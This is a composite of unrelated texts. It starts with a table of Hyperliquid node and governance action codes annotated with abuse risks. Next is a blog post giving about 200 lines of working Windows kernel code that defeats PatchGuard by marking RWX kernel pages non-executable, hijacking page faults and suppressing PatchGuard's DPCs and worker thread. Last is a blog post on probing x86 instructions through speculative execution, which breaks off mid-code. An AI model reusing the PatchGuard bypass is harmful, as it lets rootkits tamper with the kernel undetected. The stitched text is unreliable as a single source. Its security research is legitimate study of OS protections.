`RegisterValidator`	validator, signature, coldUserSignature, …	Register as validator
`CValidator`	Register/ChangeProfile/Unregister	Validator profile management
`ValidatorL1Vote`	(vote params)	L1 validator vote
`ValidatorL1Stream`	riskFreeRate	L1 stream action
`SignValidatorSetUpdate`	validatorSet, signature	Sign validator set update
`VoteAppHash`	height, appHash	Vote on app hash
`ForceIncreaseEpoch`	validatorsAndSignatures, newActiveEpoch	Force epoch increase
`VoteEthDeposit`	ethId, (deposit details)	Vote on ETH deposit
`VoteEthFinalizedWithdrawal`	ethTxHash, (withdrawal details)	Vote on finalized withdrawal
`VoteEthFinalizedValidatorSetUpdate`	header, validatorSet	Vote on validator set update
`ValidatorSignWithdrawal`	destination, usd, vaultAddress?, builder?	Validator sign withdrawal

Bridge (Ethereum L1)

Action	Fields	Description
`Withdraw3`	destination, usd, nonce, signatureChainId	Withdraw to L1
`VoteEthDeposit`	ethId, (deposit details)	Vote on ETH deposit
`VoteEthFinalizedWithdrawal`	ethTxHash, (withdrawal details)	Vote on finalized withdrawal

EVM Operations

Action	Fields	Description
`EvmRawTx`	raw (hex tx)	Submit raw EVM transaction
`FinalizeEvmContract`	(contract params)	Finalize EVM contract
`EvmUserModify`	usingBigBlocks, input	Modify EVM user settings
`SendToEvmWithData`	destinationRecipient, addressEncoding, destinationChainId, gasLimit, wei, …	Send to EVM with calldata
`DeployerSendToEvmForFrozenUser`	frozenUser, wei	Deployer send for frozen user

Spot/Token Operations

Action	Fields	Description
`SpotDeploy`	RegisterToken/RegisterToken2/RegisterSpot/RegisterHyperliquidity/…	Deploy spot markets
`SpotSend`	destination, token, amount	Send spot token
`Hip3Deploy`	collateralToken, oracleUpdater, …	HIP-3 deployment

SpotDeploy Variants (17)

Variant	Description
`RegisterToken`	Register new token
`RegisterToken2`	Register token v2
`MaxGas`	Set max gas
`UserGenesis`	User genesis
`ExistingTokenAndWei`	Existing token deposit
`BlacklistUsers`	Blacklist users
`Genesis`	Token genesis
`RegisterSpot`	Register spot market
`RegisterHyperliquidity`	Register hyperliquidity pool
`RequestEvmContract`	Request EVM contract
`SetFullName`	Set token full name
`SetDeployerTradingFeeShare`	Set deployer fee share
`EnableFreezePrivilege`	Enable freeze privilege
`FreezeUser`	Freeze user
`RevokeFreezePrivilege`	Revoke freeze privilege
`EnableQuoteToken`	Enable as quote token
`EnableAlignedQuoteToken`	Enable as aligned quote token

DEX Abstraction

Action	Fields	Description
`AgentEnableDexAbstraction`	enabled	Enable DEX abstraction for agent
`UserDexAbstraction`	enabled, …	Enable DEX abstraction for user
`UserPortfolioMargin`	(margin params)	Portfolio margin settings
`BoleAction`	operation (Borrow/Supply/Repay), token, amount	Borrow/lend operations

Reserve/Borrow-Lend

Action	Fields	Description
`ReserveRequestWeight`	weight	Request reserve weight

System/Internal

Action	Fields	Description
`SetGlobal`	pxs, externalPerpPxs, usdtUsdcPx	Set global prices
`Noop`	(none)	No operation
`ReassessFees`	(none)	Reassess fees
`SystemApproveBuilderFee`	(params)	System approve builder fee
`SystemAlignedQuoteSupplyDelta`	token, wei, isMint	Aligned quote supply delta

All governance actions

89 total variants extracted from hl-node. All execute immediately upon validator consensus: no timelocks, no user consent, no reversal mechanisms.

Fee & Trading Parameters (0x00–0x07)

Code	Action	Description
0x00	`FeeSchedule`	Modify fee structure (Vec, max 10k entries)
0x01	`ReferralBucketMillis`	Referral bucket timing
0x02	`OverrideFundingImpactUsd`	Override funding impact per asset
0x03	`FundingClamp`	Set funding rate bounds per asset
0x04	`DefaultImpactUsd`	Default price impact threshold
0x05	`MaxOrderDistanceFromAnchor`	Max order distance from oracle (0.2–0.99)
0x06	`InsertMarginTable`	Insert margin requirement table
0x07	`SetMarginTableIds`	Assign margin tables to assets

System Control (0x08–0x0C)

Code	Action	Description
0x08	`SimulateCrashHeight`	Simulate consensus crash at height
0x09	`NewSzDecimals`	Update size decimal precision
0x0A	`PerformAutoDeleveraging`	Trigger ADL
0x0B	`AssetsAtOpenInterestCap`	Mark assets at OI cap
0x0C	`AdlShortfallRemaining`	ADL shortfall tracking

Token & Bridge Restrictions (0x0D–0x11)

Code	Action	Description
0x0D	`HlOnlyCoins`	Restrict tokens to Hyperliquid only (trap funds)
0x0E	`StakingEpochDurationSeconds`	Staking epoch duration (no bounds check)
0x0F	`StrictIsolatedCoins`	Force isolated margin mode (can trigger liquidations)
0x10	`Bridge2WithdrawFee`	Bridge withdrawal fee
0x11	`AllowedBridgeValidators`	Control bridge validator set (max 10k)

Validator Management (0x12–0x13)

Code	Action	Description
0x12	`AllowedCValidator`	Whitelist validator address
0x13	`ForceRecomputeValidatorState`	Force state recomputation

Signature & Margin Overrides (0x14–0x17)

Code	Action	Description
0x14	`OverrideMaxSignatureValiditySeconds`	Override signature validity
0x15	`OverrideIsolatedMaxLeverage`	Override max leverage per asset
0x16	`OverrideIsolatedMarginRequirement`	Override margin requirement
0x17	`CanonicalTokens`	Set canonical token routing

User Control (0x18–0x1D)

Code	Action	Description
0x18	`DisableSpot`	Disable spot trading
0x19	`MaxHlpWithdrawPerSecond`	Rate limit HLP withdrawals (DOS vector)
0x1A	`QuarantineUser`	Freeze user account (no undo mechanism)
0x1B	`CancelUserOrders`	Force cancel all user orders
0x1C	`UserCanLiquidate`	Toggle user’s liquidation privileges
0x1D	`UserIsUnrewarded`	Exclude user from rewards

Market & Asset Control (0x1E–0x25)

Code	Action	Description
0x1E	`AllowDuplicateTokenNames`	Allow duplicate token names
0x1F	`DeployGasAuctionChange`	Modify gas auction parameters
0x20	`FreezeChain`	Halt chain at specified height (within 50k blocks)
0x21	`ModifyVault`	Arbitrary vault configuration
0x22	`HaltPerpTrading`	Instant trading halt per asset
0x23	`RegisterAsset2`	Register new tradeable asset
0x24	`ModifyReferrer`	Override user’s referrer (fee extraction)
0x25	`ModifyNonCirculatingSupply`	Modify circulating supply accounting

Network & Validator Operations (0x26–0x34)

Code	Action	Description
0x26	`ModifyBroadcaster`	Control broadcaster set
0x27	`ModifyCStakingPeriods`	Modify staking periods
0x28	`CValidator`	Validator profile (register/change/unregister)
0x29	`UnjailAll`	Mass amnesty: unjail all validators
0x2A	`MaxNValidators`	Set max validator count (centralization)
0x2B	`SetReserveAccumulator`	Direct reserve value manipulation
0x2C	`UnjailSigner`	Unjail specific signer
0x2D	`RefundCSignerRequestWeights`	Refund signer request weights
0x2E	`TestnetSpotDeploy`	[TESTNET] Spot deployment
0x2F	`TestnetHip3Deploy`	[TESTNET] HIP-3 deployment
0x30	`SetNativeToken`	Set native token (one-time, “HYPE”)
0x31	`SetSelfDelegationRequirement`	Self-delegation minimum (0 allows Sybil)
0x32	`SetAllowAllValidators`	Permissionless validator mode
0x33	`DisableCValidator`	Disable specific validator
0x34	`DisableNodeIp`	Ban node by IP

Staking & Rewards (0x35–0x37)

Code	Action	Description
0x35	`SetStakesDecaySeconds`	Stake decay duration
0x36	`SetDistributeRewardBucketSeconds`	Reward distribution timing
0x37	`SetMaxOiPerSecond`	Max OI change rate per market

EVM Control (0x38–0x3C)

Code	Action	Description
0x38	`SetEvmEnabled`	EVM kill switch
0x39	`SetPartialLiquidationCooldown`	Partial liquidation cooldown
0x3A	`SetEvmBlockDuration`	EVM block duration (timing attacks)
0x3B	`SetEvmPrecompileEnabled`	Toggle precompiles (disable ecrecover breaks all sigs)
0x3C	`SetEvmL1TransfersEnabled`	Trap funds in EVM

Action Delays & Quote Tokens (0x3D–0x42)

Code	Action	Description
0x3D	`SetMaxWithdrawLeverage`	Max leverage for withdrawals
0x3E	`SetActionDelayerEnabled`	Bypass timelocks
0x3F	`SetActionDelayedActionsRefund`	Delayed action refund policy
0x40	`AllowQuoteToken`	Toggle quote token (instant market shutdown)
0x41	`ValidatorL1VoteEnabled`	Toggle L1 validator voting
0x42	`SetCheckAllUsersCollateralizedCross`	Cross-collateral check toggle

PerpDex Parameters (0x43–0x4D)

Code	Action	Description
0x43	`SetPerpDexTransferBounds`	Transfer bounds per DEX
0x44	`SetPerpDexOpenInterestFundingCap`	OI funding cap
0x45	`SetPerpDexOpenInterestLimit`	OI limit
0x46	`SetPerpDexDailyInterestLimit`	Daily interest limit
0x47	`SetPerpDexMaxNotionalTransferredTotal`	Max notional transfer
0x48	`SetPageStatus`	Page status flag
0x49	`SetLiquidBaseTokens`	Liquid base token set
0x4A	`SetLiquidQuoteTokens`	Liquid quote token set
0x4B	`SetCoreWriterActionEnabled`	Core writer action toggle
0x4C	`SetPerpDexsLocked`	Lock perp DEXs
0x4D	`SetHip3NoCross`	HIP-3 cross-margin restriction

USDC & DEX Abstraction (0x4E–0x4F)

Code	Action	Description
0x4E	`SetUsdcEvmContract`	USDC contract control (6 subcases: SetAddress, SetEnabled, MigrateBalances, DeployEvmContract, ClearContracts, SetFlag)
0x4F	`SetDexAbstractionEnabled`	DEX abstraction toggle

Bole/Lending Protocol (0x50)

Code	Action	Description
0x50	`SetBole`	Lending protocol control (7 subcases: EnableBole, SetPoolConfig, SetUtilizationRange, SetBorrowRange, SetAutoRepayEnabled, SetReserveAccumulator, TestnetAction)

Testnet-Only (0x51–0x58)

Code	Action	Description
0x51	`TestnetFixUsdc`	Arbitrary USDC balance rewrite
0x52	`TestnetDepositFor`	Mint USDC to any address (max 920M per call)
0x53	`TestnetSpotSendFor`	Transfer tokens from any user
0x54	`TestnetDisableFeeTrial`	Disable fee trial
0x55	`TestnetChangeTokenDeployer`	Hijack token contracts
0x56	`TestnetChangePerpDexDeployer`	Hijack perp DEX control
0x57	`TestnetSetYesterdayUserVlm`	Override historical volume
0x58	`TestnetAddMainnetUsers`	Migrate mainnet users

PgC: Garbage collecting Patchguard away

Fri, 28 Jun 2024 00:00:00 +0000

I have released another article about Patchguard almost 5 years ago, ByePg, which was about exception hooking in the kernel, but let’s be frank, it didn’t entirely get rid of Patchguard; in this article I will be discussing an entirely different approach to bypass Patchguard, PgC.

Now there already is plenty of great research on Patchguard, Tetrane even released a 61-page whitepaper on all the intricacies of Patchguard. What makes PgC different is that it does not actually depend on how Patchguard works, but the very obvious principles of memory management. The advantage of this approach is that it is not defeating a specific version of Patchguard, but rather the entire concept of it. I’ll admit I have been sitting on this for a while, but I think it is now time to share it with the world, after almost 7 years, during which I only had to change a single line of code to update it (Hi KiSwInterruptDispatch 👋).

0x0: A stark contrast

There is only one thing we need to know about Patchguard in order to come up with an idea to defeat it: it runs on non-image pages and it decrypts itself on the fly.

Just by knowing this you should see where this is going when you recall that the Windows kernel, like any other modern operating system, absolutely hates the idea of RWX memory in Ring 0! It is a security nightmare after all, and Microsoft will not sign your driver if you have RWX sections in it. A case of do as I say, not as I do, interesting!

0x1: System VA types

Before we start engineering a solution to attack this very contrast, there is one more thing we should know about our beloved OS: how it likes to keep its memory arranged. Let’s play a little game. Go ahead and launch Process Hacker, or any other tool that shows you the image base of a kernel driver and pick a (non-session) driver and check its image base. Does it start with something close to 0xfffff803?

Admittedly, this was not the best party trick, but the point of it all is that the kernel manages each “type” of memory in different PXIs (PML4/PML5 indices). You can get an idea of how this all works from looking at the enum _MI_SYSTEM_VA_TYPE, within the MiVisibleState there is a neat little array called SystemVaType, mapping the upper 256 PXIs to a specific type of memory. Meaning that when you allocate a page, it isn’t reaaaly random where it ends up even if it is somewhat randomized each boot.

To give you an idea of each region of memory, here’s a snippet of the enum:

 1namespace mi
 2{
 3 // [enum _MI_SYSTEM_VA_TYPE]
 4 // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
 5 //
 6 enum class system_va_type_t : int32_t
 7 {
 8 unused = 0x0, // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
 9 session_space = 0x1, // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
10 process_space = 0x2, // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
11 boot_loaded = 0x3, // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
12 pfn_database = 0x4, // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
13 non_paged_pool = 0x5, // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
14 paged_pool = 0x6, // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
15 special_pool_paged = 0x7, // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
16 system_cache = 0x8, // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
17 system_ptes = 0x9, // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
18 hal = 0xa, // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
19 formerly_session_global_space = 0xb, // Windows 11
20 session_global_space = 0xb, // Windows 10 v1607, Windows 10 v2004, Windows 10 v20H2
21 driver_images = 0xc, // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
22 special_pool_non_paged = 0xd, // Windows 10 v1607
23 system_ptes_large = 0xd, // Windows 10 v2004, Windows 11, Windows 10 v20H2
24 kernel_stacks = 0xe, // Windows 10 v2004, Windows 11, Windows 10 v20H2
25 //maximum_type = 0xe, // Windows 10 v1607
26 secure_non_paged_pool = 0xf, // Windows 10 v2004, Windows 11, Windows 10 v20H2
27 //system_ptes_large = 0xf, // Windows 10 v1607
28 kernel_shadow_stacks = 0x10, // Windows 11
29 maximum_type = 0x10, // Windows 10 v2004, Windows 10 v20H2
30 kasan = 0x11, // Windows 11
31 //maximum_type = 0x12, // Windows 11
32 };
33};

What this means is that, if we exclude the pages that are used for actual kernel images, and filter for RWX memory, what we end up is a very small subset of allocations, most likely either Patchguard or some rootkit you sadly have on your system.

0x2: GC

Big corporation might not like the fact that you really have the same privileges as their OS on your own machine, but (for the next few years at least) you do. So let’s just do a little garbage collection of our own and mark these pages no-execute.

 1scheduler::call_ipi( [ & ] ( auto barrier ) {
 2 barrier->up();
 3
 4 // Determine the range we scan.
 5 //
 6 auto [range_min, range_max] = get_range( range_per_cpu );
 7
 8 // Iterate all top level page table entires in kernel address space.
 9 //
10 for ( size_t ipxe = 256; ipxe != 512; ipxe++ ) {
11 // If ignored region, skip.
12 //
13 if ( mem::get_pxi_flags( ipxe ) & ignored_pxi_flags )
14 continue;
15
16 auto rec = [ & ] <auto N> ( auto&& self, uint64_t va, const_tag<N>, size_t imin, size_t imax )
17 {
18 auto pte = mem::get_pte( va, N );
19
20 // Skip if not present.
21 //
22 if ( !pte->present )
23 return;
24
25 // If we did not reach the bottom level:
26 //
27 if constexpr ( N != 0 ) {
28 // If directory:
29 //
30 if ( !pte->large_page ) {
31 // Iterate all pt entries:
32 //
33 for ( size_t ipte = imin; ipte != imax; ipte++ )
34 self( self, va | ( ipte << ( 12 + 9 * ( N - 1 ) ) ), const_tag<N - 1>{}, 0, 512 );
35 return;
36 }
37 // If large page, skip if too large to be considered.
38 //
39 else if constexpr ( N > 1 ) {
40 return;
41 }
42 // Fallthrough to page handling.
43 }
44
45 // Skip if not RWX.
46 //
47 if ( !pte->write || pte->execute_disable )
48 return;
49
50 // Skip if user-mode memory mapped to kernel.
51 //
52 if ( !is_kernel_va( mem::get_virtual_address( pte->page_frame_number << 12 ), true ) )
53 return;
54
55 // Disable execution.
56 //
57 atomic_bit_set( pte->flags, PT_ENTRY_64_EXECUTE_DISABLE_BIT );
58 };
59 rec( rec, mem::make_cannonical( ipxe << ( mem::va_bits - 9 ) ), const_tag<mem::page_table_depth - 1>{}, range_min, range_max );
60 }
61
62 // Flush the TLB and return.
63 //
64 barrier->down();
65 ia32::flush_tlb();
66} );

This code more or less comes down to:

Launch an IPI since we don’t want to race with the rest of the OS.
Iterate all the kernel pages (indices 0x100 to 0x1ff).
Skip the ones that could not have Patchguard, I’d recommend skipping SessionSpace, ProcessSpace, DriverImages, PagedPool and most importantly the Self-referencing index unless you want to triple fault.
Skip the pages that are no-execute, write disabled or not present.
Go ahead and flip the NX bit.

If this all goes right, you will bluescreen in two to three minutes, which is when the Patchguard would have decrypted itself and tried to run. ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY Hurray?

0x3: Healing back our OS

We now need a hook on #PF. Remember, there is no Patchguard anymore so our job is very straight forward. You can switch the IDT and add your own page fault handler, inline hook MmAccessFault, whichever method you’d like, as long you do it quickly and right before our IPI.

The final step, even with zero prior knowledge on how Patchguard works is suprisingly simple. Just let it bluescreen a few times and look at the dump! You will notice that there is a few DPCs, all of which start with an XOR instruction and a worker at PASSIVE_LEVEL. The worker, we will suspend forever, and the DPC ones, well just return to whoever is calling without doing anything.

That was pretty much it. The entire source code comes down to essentially 200 lines and there is no more Patchguard.

 1static constexpr bool pgc_debug = is_debug_build() && true;
 2static constexpr bool pgc_disable_timer_dispatch = true;
 3static constexpr bool pgc_disable_dpc_dispatch = true;
 4static constexpr bool pgc_disable_context_dpc = true;
 5static constexpr auto ignored_pxi_flags = mem::va_image | mem::va_session | mem::va_process | mem::va_self_ref | mem::va_paged;
 6inline static bool is_va_ignored( any_ptr virtual_address ) { return mem::lookup_va_flags( virtual_address ) & ignored_pxi_flags; }
 7
 8// The ISR handling Kernel-mode NX faults:
 9bool on_knx_fault( void* virtual_address, nt::trapframe* tf ) {
 10 // If ignored region, skip.
 11 //
 12 if ( is_va_ignored( virtual_address ) )
 13 return false;
 14
 15 // Get IRQL, display details.
 16 //
 17 auto* stack = ( void** ) ( tf->rsp & ~7ull );
 18 irql_t irql = ia32::get_effective_irql( tf->rflags );
 19 if constexpr ( pgc_debug ) {
 20 log( "KNX Caught @ %p\n", tf->rip );
 21 log( "RSP: %p\n", tf->rsp );
 22 log( "RAX: %p\n", tf->rax );
 23 log( "RCX: %p\n", tf->rcx );
 24 log( "RDX: %p\n", tf->rdx );
 25 log( "RBX: %p\n", tf->rbx );
 26 log( "RBP: %p\n", tf->rbp );
 27 log( "R8: %p\n", tf->r8 );
 28 log( "R9: %p\n", tf->r9 );
 29 log( "R10: %p\n", tf->r10 );
 30 log( "R11: %p\n", tf->r11 );
 31 log( "IRQL: %d\n", irql );
 32 for ( uint64_t p = tf->rip; p < ( tf->rip + 32 ); ) {
 33 if ( !mem::is_address_valid( p ) || !mem::is_address_valid( p + 15 ) ) {
 34 break;
 35 }
 36 auto ins = xed::decode64( ( void* ) p );
 37 if ( !ins ) break;
 38 log( "%p: %s\n", p, ins->to_string() );
 39 p += ins->length();
 40 }
 41 }
 42
 43 // Dispatch level or IPI level PatchGuard components:
 44 //
 45 if ( irql >= DISPATCH_LEVEL ) {
 46 uint8_t* bytes = ( uint8_t* ) tf->rip;
 47
 48 // KiDpcDispatch/CmpAppendDllSection clone called from dummy DPCs, decrypts and calls into pg context.
 49 //
 50 if ( pgc_disable_context_dpc && !memcmp( bytes, "\x2E\x48\x31", 3 ) ) {
 51 if ( !mem::is_cannonical( tf->rdx ) ) {
 52 if ( tf->rcx == tf->rip ) {
 53 if constexpr ( pgc_debug )
 54 log( "Discarded CmpAppendDllSection DPC: %llx\n", tf->rip );
 55 tf->rip = *( uint64_t* ) tf->rsp;
 56 tf->rsp += 8;
 57 return true;
 58 }
 59 }
 60 }
 61 else if ( pgc_disable_dpc_dispatch && !memcmp( bytes, "\x48\x31", 2 ) ) {
 62 if ( !mem::is_cannonical( tf->rdx ) ) {
 63 if ( ( tf->rip - 0x70 ) <= tf->rcx && tf->rcx <= ( tf->rip + 0x70 ) ) {
 64 if constexpr ( pgc_debug )
 65 log( "Discarded KiDpcDispatch DPC: %llx\n", tf->rip );
 66 tf->rip = *( uint64_t* ) tf->rsp;
 67 tf->rsp += 8;
 68 return true;
 69 }
 70 }
 71 }
 72
 73 // KiTimerDispatch clone called from KiExecuteAllDpcs, decrypts and calls into pg context.
 74 //
 75 if constexpr ( pgc_disable_timer_dispatch ) {
 76 for ( int i = 0; i < 0x20; i++ ) {
 77 // pushfq
 78 if ( bytes[ i + 0 ] == 0x48 && bytes[ i + 1 ] == 0x9C ) {
 79 for ( int j = i; j < 0x20; j++ ) {
 80 // sub rsp
 81 if ( bytes[ j + 0 ] == 0x48 && bytes[ j + 1 ] == 0x83 ) {
 82 if constexpr ( pgc_debug )
 83 log( "Discarded KiTimerDispatch: %llx\n", tf->rip );
 84 tf->rip = *( uint64_t* ) tf->rsp;
 85 tf->rsp += 8;
 86 return true;
 87 }
 88 }
 89 }
 90 }
 91 }
 92 } else if ( ke::get_eprocess() == ntpp::get_initial_system_process() ) {
 93 // Deferred work item?
 94 //
 95 uint64_t last_valid_vpn = 0;
 96 for ( int i = 0; i < 0x20; i++ ) {
 97 // Validate stack pointer.
 98 //
 99 auto* value_ptr = &stack[ i ];
100 if ( auto vpn = uint64_t( value_ptr ) >> 12; vpn != last_valid_vpn ) {
101 if ( !mem::is_address_valid( value_ptr ) ) {
102 break;
103 }
104 last_valid_vpn = vpn;
105 }
106
107 // Check if it matches the value we expected.
108 //
109 void* value = *value_ptr;
110 if ( value != &ke::delay_execution_thread && value != &ke::wait_for_multiple_objects && value != &ke::wait_for_single_object ) {
111 continue;
112 }
113
114 // Align stack
115 tf->rsp &= ~0xF;
116 // Set the arguments on stack
117 tf->rcx = ( uint64_t ) nt::mode_t::kernel_mode;
118 tf->rdx = false;
119 *( int64_t* ) ( tf->r8 = ( tf->rsp + 0x28 ) ) = -0x11F0231A4F3000;
120 // Simulate call [KeDelayExecutionThread]
121 tf->rsp -= 8;
122 *( uint64_t* ) tf->rsp = tf->rip;
123 tf->rip = ( uint64_t ) &ke::delay_execution_thread;
124
125 // Lower IRQL and return.
126 //
127 if constexpr ( pgc_debug )
128 log( "Suspended PatchGuard worker thread: %llx\n", ntpp::get_client_id().unique_thread );
129 ia32::set_irql( APC_LEVEL );
130 tf->rflags.interrupt_enable_flag = true;
131 return true;
132 }
133 }
134
135 // False positive, fix NX and continue.
136 //
137 auto [pte, _] = mem::lookup_pte( virtual_address );
138 atomic_bit_reset( pte->flags, PT_ENTRY_64_EXECUTE_DISABLE_BIT );
139 return true;
140}
141
142// Initializes the patchguard bypass.
143//
144void init() {
145 // Fetch the number of processors and distribute the work.
146 //
147 static const uint16_t num_processors = ( uint16_t ) apic::number_of_processors();
148 static const uint16_t range_per_cpu = 512 / num_processors;
149 static constexpr auto get_range = [ ] ( uint16_t range_per_cpu ) -> std::pair<uint16_t, uint16_t> {
150 // [ idx*R, (idx+1)*R ]
151 uint16_t rmin = uint16_t( ia32::read_pcid() ) * range_per_cpu;
152 uint16_t rmax = rmin + range_per_cpu;
153
154 // If last range, round to max.
155 if ( ( rmax + range_per_cpu ) >= 512 )
156 rmax = 512;
157
158 return { rmin, rmax };
159 };
160
161 // Add the patches and call the IPI.
162 //
163 if ( sdk::exists( ki::sw_interrupt_dispatch ) )
164 hook::patch( &ki::sw_interrupt_dispatch, { 0xC3 } );
165 if ( sdk::exists( ki::mca_deferred_recovery_service ) )
166 hook::patch( &ki::mca_deferred_recovery_service, { 0xC3 } );
167 scheduler::call_ipi( [ & ] ( auto barrier ) {
168 // .... See above
169 } );
170}

As it stands right now, the code base is not yet ready for release due to the vast amount of dependencies on bits and pieces of my libraries (C runtime, the hooking library, ISRs…), but I will try to release a standalone version of PgC in the near future. You can find some of the memory utilities used above at Github.

I hope you enjoyed this article and the trick even more. If you have any questions, feel free to ask them on the bird app or the comments below.

Speculating the entire x86-64 Instruction Set In Seconds with This One Weird Trick

Mon, 22 Mar 2021 00:00:00 +0000

As cheesy as the title sounds, I promise it cannot beat the cheesiness of the technique I’ll be telling you about in this post. The morning I saw Mark Ermolov’s tweet about the undocumented instruction reading from/writing to the CRBUS, I had a bit of free time in my hands and I knew I had to find out the opcode so I started theory-crafting right away. After a few hours of staring at numbers, I ended up coming up with a method of discovering practically every instruction in the processor using a side(?)-channel. It’s an interesting method involving even more interesting components of the processor so I figured I might as well write about it, so here it goes.

You can find the full data-set and the implementation source at haruspex.can.ac / Github.

Preface 1/2: If storks are busy delivering babies, where do micro-instructions come from?

Modern processors are built with a crazy amount of microarchitectural complexity these days and as one would expect the good old instruction decoders no longer decode for the execution unit directly. They end up decoding them into micro-instructions according to the micro-code of the processor to dispatch to the execution ports of the processor. There are two units that perform this translation in a modern Intel processor:

Micro-instruction Translation Engine (MITE). The unit responsible for the translation of simple legacy instructions that translate to four or less micro-instructions.
Microcode Sequencer (MS). The unit responsible for the translation of much more complex instructions that drive the CISC craziness of the Intel architecture we all hold dearly.

Another unit that dispatches these micro-instructions is the Decoded Stream Buffer (DSB) more frequently known as the iCache but it is not really relevant to the experiment we’re going to do. Now, why am I telling you all of this? Mainly because we can profile these extremely low-level units thanks to the performance counters Intel gracefully provides us; mainly these two bad boys:

One of the advantages of utilizing these events compared to a Sandsifter-like approach is that even if the microcode of the instruction throws a #UD (say if the password does not match or if the conditions are not met) it cannot fool us as it’d still have to be decoded.

Preface 2/2: Executing in a parallel universe

Now the problem is getting those instructions there. There are a million of ways you can shoot yourself in the foot by executing random instructions. What happens if we hit an instruction that changes our interruptibility state, causes a system reset, messes with the internal caches or the very performance counters we’re using, the stack we’re executing on, the code of the profiler, the code segment we’re executing in…

The easy solution is to simply, not execute, at least in our visible universe, which brings us to our second cool microarchitectural detail: speculative and out-of-order execution. The processor evaluating the branch condition at the branch has apparently grown out of fashion so what really happens when you do a branch is that, first, the branch prediction engine attempts to guess the branch you are going to take to reduce the cost of the reversal of the instruction pipelines, given an equal possibility both branches execute at the same time where possible and no speculation fences are present and then one of them gets their net change reverted… which is pretty much what we wanted isn’t it? Now although probing the branch to reset the branch prediction state is possible and I’ve experimented with it before, it’s a bit bothersome so an easier way is to simply do a CALL. Consider this snippet:

1call x
2 <speculated code>
3x:
4 lea rax, [rip+z]
5 xchg [rsp], rax
6 ret
7z:

This will cause the execution of the speculated code and the invoked subroutine out-of-order if possible. The XCHG may seem a bit overkill compared to a simpler solution popping the stack but as far as my experiments went, the processor is too smart to split the execution if the routine is non-returning so we need to feed the branch target buffer what it wants. I’ve used XCHG here instead of a MOV since it implies LOCK which will cause the processor to end up in a memory stall given that it has to end up visible given the atomicity –or at least so I theorize.

We will also need to trash the Decoded Stream Buffer I’ve mentioned previously so that we do not get any micro-instructions fed from the cache but there’s a very simple solution for that. The instruction cache also has to handle self-rewriting code so execute memory is extremely sensitive to any memory writes, given this information adding the simple snippet below before every measurement takes care of this issue.

1auto ip = ia32::get_ip() & ~63ull;
2std::copy_n( ( volatile uint8_t* ) ip, 512, ( volatile uint8_t* ) ip );
3ia32::sfence();
4for ( size_t n = 0; n != 512; n += 64 )
5 ia32::clflush( ip + n );

0x0: Precise data collection

Finally, we’ve hit the exciting part of the experiment, experimenting. We want precise results which implies non-interruptibility. You might be tricked into thinking being in kernel-mode and doing a CLI solves this problem but this does not really work that way in reality. The first thing that worries me is an #SMI being delivered, although I keep hearing it freezes PMCs, as far as I’ve experimented it really doesn’t do a great job at that, but even if it did it’s still an impurity we have to eliminate so I’ll repeat the experiment until the mighty IA32_MSR_SMI_COUNT stays constant during the execution. #NMI is the other bugger, so setting the interrupt handler so that it signals a retry solves this problem (since I’m too lazy to unwind). #MC would also be considered in this category but at that point might as well let it all burn.

Repeating the experiment multiple times and picking the Mod(x), and writing the code in a tight manner eliminates pretty much every other problem we’ve left. The next step is simply writing the code and actually collecting the data. The speculated code will be 15 copies of NOP and a 0xCE at the end to cause an actual #UD and halt the speculative execution. We’ll be trying pretty much every opcode in the range of 0x00-0xFF and they will optionally take a prefix of 0x0F and optionally another prefix in the set { 0x66, 0xF2, 0xF3 } since Intel likes to use them to create new opcodes out of thin-air (e.g. the recent FRED instruction ERETS with its F2 0F 01 CA encoding). We also need to add a suffix for discovering ModR/M variants. This process completes in mere seconds, which gave the title to this post.

0x1: Reducing the results

First of all, we’ll get two baseline measurements, the NOPs left as is, and the 0xCE as the first opcode which will reveal the counter values for a complete execution and the for-real-#UD case (I’ve tested other opcodes, 0xCE really isn’t an NSA backdoor, it’s the real deal as far as #UD’s go.).

Simply removing all measurements matching the for-real-#UD case measurement gets rid of most of the garbage, now we need to get rid of the redundant prefixes, taking a look at the data below you can see a pattern emerge:

index	decoding	mits	ms
90	nop	54	80^*
6690	data16 nop	53	67
f290	nop	53	80
f20f90	seto byte ptr [rax-0x6f6f6f70]	48	80

Every nop translates to a single micro-instruction that will be handled by the MITE, which means if the prefix is redundant MITS should be always off by just one and MS should stay the same, additionally, we can filter out some redundant checks by declaring 0x0F never redundant. Combining both we get rid of most of the redundancies in a simple fashion and even might be able to calculate the instruction length, neat! The code below gets rid of 54954 entries.

 1const propertyMatch = (i1, i2) => {
 2 return i2.ms == i1.ms && i2.outOfOrder == i1.outOfOrder && i2.iclass == i1.iclass;
 3};
 4
 5// Purge redundant prefixes.
 6//
 7for (const k1 of Object.keys(instructions)) {
 8 // Skip if already deleted.
 9 //
10 const i1 = instructions[k1];
11 if (!i1) {
12 continue;
13 }
14
15 // Iterate each prefix (apart from 0f):
16 //
17 for (const pfx of prefixList) {
18 // If the instruction exists:
19 //
20 const k2 = pfx + k1;
21 if (k2 in instructions) {
22 // If the instruction has matching properties as the derived from parent, delete the entry.
23 //
24 const i2 = instructions[k2];
25 if (propertyMatch(i1, i2)) {
26 // MITS#1 == MITS#2 can indicate same instruction if instruction halts.
27 // Otherwise MITS#1 has to be one more than MITS#2 since it should execute one more NOP.
28 //
29 if (i1.mits != i2.mits) {
30 if (i1.mits != i2.mits + 1) {
31 continue;
32 }
33 } else if (i1.mits > faultBaseline.mits) {
34 continue;
35 }
36 delete instructions[k2];
37 }
38 }
39 }
40}

Suffix-based purging is also more or less the same logic which gets rid of 72869 instructions, leaving us with 1699 entries, which is good enough to start the analysis!

 1// Purge redundant suffixes.
 2//
 3for (const k1 of Object.keys(instructions)) {
 4 // Skip if already deleted or not relevant.
 5 //
